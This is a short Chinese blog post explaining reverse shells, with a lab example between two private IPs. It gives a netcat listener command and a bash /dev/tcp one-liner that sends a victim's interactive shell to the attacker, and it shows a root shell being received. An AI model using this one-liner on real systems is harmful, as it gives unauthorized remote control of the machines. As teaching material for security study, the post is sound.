反弹 shell 介绍

发布时间: 更新时间: 总字数:483 阅读时间:1m 作者: IP上海 分享 网址

反弹shell(reverse)攻击机 监听在某个 TCP/UDP 端口为 服务端受害机 主动发起请求到 攻击机 监听的端口,并将其命令行的输入输出转到 攻击机

概念

场景

  • 受害机 只能发送请求,不能接收请求
  • 受害机 端口被占用
  • 受害机 IP会动态变化,攻击机 无法直接连接
  • 对于病毒、木马,受害者的中招时间、网络环境、开/关机都未知时

安装

Ubuntu

apt install -y netcat

示例

攻击机

ip 地址为 172.17.0.1,默认使用 netcat 监听在 tcp:8888 端口

$ nc -nvlp 8888
Listening on 0.0.0.0 8888

参数说明:

  • -v 输出交互或出错信息
  • -l 监听
  • -p 端口

受害机

ip 地址为 172.17.0.2,执行命令:

bash -i >& /dev/tcp/172.17.0.1/8888 0>&1

参数说明:

  • bash -i i 是 interactive 的缩写,会产生一个 交互式的bash
  • /dev/tcp/<IP>/<PORT> 是一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 用来实现网络请求的一个接口
    • 打开这个文件相当于发出了一个 socket 调用并建立一个 socket 连接
    • 读写这个文件相当于在这个 socket 连接中传输数据

此时,攻击机 内可以看到已经连接的 受害机 的 shell 中,如下:

$ nc -nvlp 8888
Listening on 0.0.0.0 8888
Connection received on 172.17.0.2 37646
root@582fd9275fbf:/#
Home Archives Categories Tags Statistics
本文总阅读量 次 本站总访问量 次 本站总访客数